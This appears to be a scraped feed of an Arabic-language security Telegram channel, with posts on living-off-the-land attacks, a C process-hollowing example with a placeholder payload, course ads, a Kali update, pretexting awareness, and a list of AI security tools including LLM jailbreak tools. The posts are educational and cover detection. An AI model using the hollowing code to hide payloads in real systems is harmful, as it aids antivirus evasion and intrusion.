المُخترق مو دائماً يستخدم ادواته ، مرات يستخدم ادواتك ضدك ، بس شلون !

LOTL - Living off the Land

هيج نوع من الاختراقات يعتمد على استغلال الادوات الشرعية الموجودة اصلا داخل نظام التشغيل الخاص بيك لتنفيذ هجوم بدون ما يخلي اثر واضح ، يعني!

مُمكن يستخدم PowerShell او WMI او CertUtil لتنزيل ملفلات او تنفيذ اوامر او حتى انشاء اتصال مابين كمبيوترك وسيرفره

ميحتاج يحمل تروجان او فايروس من برة كل شي يشتغل من داخل نظامك

مثل

المُخترق يرسل الك ملف Word انت تشوفه طبيعي بس هذا الملف الوورد انت حتشوفة طبيعي ومابي شي وتفتحة حيكون بي ماكرو هذا الماكرو يشغل البور شيل بشكل سايلنت ويحمل سكربت تقريباً مشابه للـKeylogger بس حيكون اكو باك دور ب جهازك

هاي واحدة من اساليب الاختراق طبعاً مو شرط يكون ملف وورد ممكن PDF وبيه exploit او ممكن ملف Excel او ممكن ملفات ثانية اخرى مُختلفة

CH : @SparkSecurity

الهجوم عن طريق Process Hollowing هو اسلوب اختراق متقدم يعتمد على افراغ عملية شرعية شغالة مثل Explorer.exe وحقن كود داخل هذا التاسك


شلون تتم تقنياً !

المُخترق ينشئ عملية شرعية بوضع "معلّق" (Suspended)
مثلًا svchost.exe أو notepad.exe
يستخدم دالة CreateProcess وي فلاك CREATE_SUSPENDED

راح يكدر يحصل على معلومات عن سياق التنفيذ (Context) ومسار الانستراكشن
باستخدام GetThreadContext()، يحدد عنوان نقطة البداية (Entry Point) داخل الذاكرة

مسح الكود الأصلي من ذاكرة العملية يستخدم VirtualAllocEx()
و WriteProcessMemory() لكتابة الكود داخل نفس المساحة حتى مايبين يحدث عنوان التنفيذ ليشير إلى البايلود الجديد يشغل العملية من جديد باستخدام ResumeThread()

هيج نوع من الاختراقات سهل يندمج ضمن بايلودات PowerShell أو Cobalt Strike أو Metasploit بنفس الوكت ما ينشئ ملف جديد صعب يكتشفه الـ Antivirus وبنفس الوكت يستخدم ملفات نظامية ماكو سبب منطقي تمنع تشغيلها

بعد ما عرفنا هذا الاسلوب لازم نعرف شلون نفحص اذا جان اكو هيج نوع من الاختراق مشتغل بجهازنا يا اما عن طريق EDR مثل Crowdstrike, SentinelOne, Microsoft Defender ATP

او عن طريق ادوات فورينسك مثل Process Hacker أو PE-sieve أو HollowHunter
ممكن تكشف أن العملية مفرغة (Hollowed) وأن الـ PE Header متلاعب به

واكيد اكو سجلات بداخل الوندوز اسمها Sysmon من خلال هاي الاوامر حتشوف اكو فرق بين الحدث الجديد الصار والقديم


الادوات اللي ممكن تستخدمها حتى تنفذ هيج نوع من الهجمات هو

Cobalt Strike (Beacon)

Metasploit (Meterpreter)

Empire

طبعاً اكو ناس راح تتشابك عدها المعلومات راح يشوفون انو هاي نفس طريقة الـ Injection

يعني الهولونك نفس الانجكشن بس اكيد اكو فرق من السما للكاع


الانجكشن هو حقن كود ب عملية موجودة فعلاً وتشتغل
اما الهولونك هو انشاء عملية جديدة بداخل عملية موجودة فعلاً ! لكن هنا يتم استبدال محتواها بالكامل يعني هي بيها حقن بس بطريقة مختلفة

CH : @SparkSecurity

اذا جنت من ضمن البلو تيم او حاب تكون بهالفريق ف استخدم PE-sieve حتى تفحص العمليات واعرف الفرق بين Mapped image و In-memory image

هسه نسوي مثال عملي اللي هو Process Hollowing بلغة C متطلباتة بسيطة

WIndows , mingw او Visual Studio او , IDE يعجبك
واكيد لازم صلاحية ادمنستريتر

#include <windows.h>
#include <stdio.h>

int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// بايلود وهمي (نستخدم بايلود اخر )
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, 0xC3 // NOP NOP NOP NOP RET
};

//هنا ننشئ العملية
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
printf("[-] Failed to create process.\n");
return -1;
}

//هنا ناخذ معلومات السياق اذا يقرا او فشل ف القراءة
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("[-] Failed to get thread context.\n");
return -1;
}

// قراءة العنوان من سجل EAX أو Rcx (اعتمادًا على النظام)
LPVOID baseAddress;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &baseAddress, sizeof(LPVOID), NULL);

// كتابة الكود في الذاكرة
WriteProcessMemory(pi.hProcess, baseAddress, shellcode, sizeof(shellcode), NULL);

// تشغيل العملية
ResumeThread(pi.hThread);

printf("[+] Hollowed notepad.exe with shellcode!\n");

return 0;
}

CH : @SparkSecurity

نكمل بعدين ونشوفكم بخير Good Luck ❤️

منشور جديد على الانستكرام

اضغط هنا للمشاهدة

CH : @SparkSecurity

كُل عام وانتم بخير عيد سعيد ❤️

CH : @SparkSecurity

The Art of MAC Malware Detecting Malicious Software

CH : @SparkSecurity

يا الله كورسات بعد قليل !! 🔥

Cybersecurity Solution Architecture 301 (2025 Edition)

- احصل على شهادة مشاركة
- الشرح باللغة الانكليزية 🇺🇸
- سعر الدورة (34$)
- حالة الدورة : غير متوفرة ❌
- شارك الدورة مع اصدقائك المهتمين

اضغط هنا للانظمام الى الكورس

CH : @SparkSecurity

راح تتعلم

تطبيق Zero Trust على مستوى الشركات التشفير ضد الهجمات الكوانتوم إدارة الأمان عبر عدة سحابات تصميم بنية مقاومة للذكاء الاصطناعي
بناء أنظمة ذاتية الإصلاح ضد الاختراقات

CH : @SparkSecurity

انتهى الكوبون

تحديث Kali Linux 2025.2 نسخة Kali 2025.2 متوفرة وتحمل تغييرات مهمة للمخُترقين الأخلاقيين والمختبرين الأمنيين


13 أداة جديدة للبحث والتحليل، مثل azurehound, binwalk3, donut-shellcode وغيرها
إعادة تصميم CARsenal (بدل "CAN Arsenal")، طقم كامل من الادوات لاختبار أمان السيارات، مع واجهة أبسط

دعم الحقن Wi‑Fi و‏WPA2 handshake على TicWatch Pro 3 دعم لـ Android Auto + نواة جديدة لهواتف Xiaomi و Samsung

شلون تحصل على التحديث

echo "deb http://http.kali.org/kali kali‑rolling main contrib non‑free non‑free‑firmware" | sudo tee /etc/apt/sources.list
sudo apt update && sudo apt -y full-upgrade
[ -f /var/run/reboot-required ] && sudo reboot -f

#Spark_Security #KaliLinux #CARsenal #NetHunter #PenTesting

CH : @Sparkecurity

Guide to privacy settings for most major software
and services

https://github.com/StellarSand/privacy-settings

CH : @SparkSecurity

"Securing Industrial Control Systems and Safety Instrumented Systems: A practical guide for safeguarding mission and safety critical systems", 2024.


كتاب لازم تقراه إذا انت تشتغل بـ OT، SCADA، PLC، أو تشتغل بحماية الأنظمة الحساسة المصانع والمنشآت الضخمة

شراح تتعلم من الكتاب؟

🔸 شنو الفرق بين السستم الصناعي والسستم اللي يضمن السلامة (SIS)؟

يعني مو كل شي بس فولت وPLC، أكو أنظمة مخصصة تحمي الأرواح، والمعدات الثقيلة، وانت لازم تحميها من الهجمات


هجمات حقيقية صارِت على مصانع وأنظمة حساسة يفصل لك شلون الهجمات صارت، شنو كانت الثغرة، وشلون تمنع مثّلها مستقبلاً


مستقبل الأتمتة والأمن؟

الذكاء الاصطناعي، الـ IoT، الشغل عن بعد...
كله لازم نحسبله حساب من هسه، والكتاب يغطي هالنقطة

CH : @SparkSecurity

موضوع مُهم بعد قليل الرجاء مشاركة القناة وتعميم المعلومة القادمة وشُكراً

أولاً Pretexting Attack – الهجوم اللي يجيك بـ"كذبة محبوكة"

📌 شنو يعني Pretexting؟

الهكر هنا ما يدزلك رابط، ولا فايروس س يجيك بكذبة مدروسة عدل، وبيها سيناريو مُقنع، حتى ياخذ من عندك معلومات "بإيدك"

مثلاً يتصل عليك شخص ويكول

مرحبا اني من شركة فُلانية قسم توزيع الرواتب مثلاً ويكُلك صار خطأ ب حسابك البنكي ونحتاج نحدث رقم الـ IBAN حتى ما تتاخر دفعتك

هواي موظفين راح يصدكون هذا الحجي وينطونة كل التفاصيل بدون الى الانتباه ب رقم المتصل وانت هم لازم تتاكد دائماً الشركة متطلب منك هاي المعلومات او مثلا يجيك يُكلك آني من الـ IT، أكو تحقيق داخلي بسبب محاولة اختراق، نحتاج نسوي تأكيد هويّة، ابعثلي صورة البطاقة مالك أو رقم الموظف

اني هنا مجاي اشجع المُخترقين على انو يتعلمو هيج اساليب ، جاي اوعي الموظفين المتقاعدين الناس اللي بعيدين عن هذا المجال ان يفهمون شنو اللي جاي يصير حالياً جاي نشوف الاف من الناس حساباتهم المصرفية او كي كارد وغيرها جاي تنباك ب اساليب و99% هي بسبب الهندسة الاجتماعية Pretexting Attack – هو احد الاساليب ف لازم توعي صديقك والدك ، اقربائك على هيج نمط من الهجمات وتكون حذر من اي اتصال

نجي الى الامر المهم ليش هذا الهجوم خطير ؟

لان بيه تحضير نفسي يقنعك ان اكو شي رسمي مستعجل ومن داخل النظام ، وهو لا ماكو هيج
يستخدم معلوماتك العامة على تواصل الاجتماعي مثلاً حتى يقنعك اكثر مثلا يعرف اسمك او غيرها وغيرها وبنفس الحالة الضحية هنا تعتقد انو هي جاي " تساعد " مو تنخدع لان مراح يفهمون شنو الجاي يصير بسهولة



CH : @SparkSecurity

#tools
#MLSecOps
#Offensive_security
Security Solutions for AI Systems 
1️⃣ Confidential Computing
1.1 Sentient Enclaves Framework
1.2 SyMPC - SMPC companion library for Syft
1.3 Confidential Computing API
2️⃣ Encryption and Data Protection
2.1 IronCoreLabs Transform encryption lib for Scala
2.2 Diffprivlib - IBM Differential Privacy Library
2.3 TenSEAL - Library for doing homomorphic encryption operations on tensors
2.4 PyDP - Python Differential Privacy Library
3️⃣ Governance
3.1 VerifyWise - Open source AI governance platform
3.2 Cartai - OSS AI supervisor Agent
4️⃣ Model Testing
4.1 Plexiglass - tool to detect/protect LLM vulns
4.2 Giskard-AI - Evaluation/testing for LLM systems
4.3 ModelScan - ML Model Security Scanner
4.4 LlamaFirewall, PurpleLlama - Tools to LLM security
4.5 Garak - LLM vulnerability scanner
4.6 Package for LLM jailbreak evaluation
5️⃣ Prompt Firewall and Redaction
5.1 Guardrails AI - Adding guardrails to LLMs
5.2 Private AI - Detect, anonymize, and replace PII
5.3 Lakera Guard - ChatGPT Data Leak Protection
5.4 Rebuff - LLM Prompt Injection Detector
5.5 Trylon Gateway - Open Source Firewall for LLMs
5.6 LLM Guard, Vigil - Security scanner for LLM prompts
5.7 MCP-Scan - Security scanner tool for MCP servers
5.8 Vibranium Dome - LLM WAF for Agents
6️⃣ AI Quality Controls and Testing
6.1 GenAI Prompt Fuzzer
6.2 FuzzyAI, LLMFuzzer Frameworks
6.3 Test Generation for Prompts
6.4 Promptfoo: LLM Evals & Red Teaming
7️⃣ Training Data Protection
7.1 Trusted-AI - Adversarial Robustness Toolbox
7.2 datasig - Dataset fingerprinting for AIBOM
8️⃣ AI for Offensive Cyber
8.1 Vulnhuntr - AI-Discovered 0-day Tool
8.2 Confident AI - LLM Red Teaming Framework
8.3 Agentic LLM Vulnerability Scanner / AI RedTeam Kit
8.4 llm-attacks - Attacks on Aligned LLMs
8.5 HackGPT - Tool using ChatGPT for hacking
8.6 AI/ML Exploits, CAI CTF Framework


CH : @SparkSecurity

كل هاي الأدوات مفتوحة المصدر وموجودة على GitHub

📍 بعض منها هجومي وبعضها دفاعي الأمن السيبراني بالـAI صار تخصص .. وهاي الأدوات هي مفاتيحك

شارك المنشور ويه أي شخص مهتم بالذكاء الاصطناعي أو الحماية

أدوات تحمي الذكاء الاصطناعي من الاختراق؟
هاي الأدوات صمّمت خصيصاً حتى تحمي الموديلات الذكية من التلاعب، الاختراق، التسريب، وحتى التجسس

اليوم نبدأ بأول مجموعة
Confidential Computing (الحوسبة السرّية)
تفيدك بحماية البيانات الحساسة حتى وهي تشتغل داخل المعالج! يعني محد يكدر يشوف أو يعبث بالمعلومة، حتى لو كان عنده صلاحيات

Sentient Enclaves Framework
يساعدك تبني بيئة مشفّرة تشتغل بيها موديلاتك بأمان
SyMPC
أداة تشفّر عمليات الحساب بين أطراف بدون لا واحد يعرف بيانات الثاني
Confidential Computing API
تربط تطبيقك بسهولة مع بيئات مشفّرة (Intel SGX وغيرهم)
فائدة حقيقية للباحثين ومطوري الذكاء الاصطناعي اللي يشتغلون على بيانات طبية، بنكية، أو أي شي حساس

تابعونا يوميّاً كل يوم نغطي مجموعة جديدة من الأدوات بأمثلة عملية!

CH : @SparkSecurity

منشور جديد على صفحتنا بالانستا ! شاركوها عند اصدقائكم

اضغط هنا لمشاهدة المنشور

CH :@SparkSecurity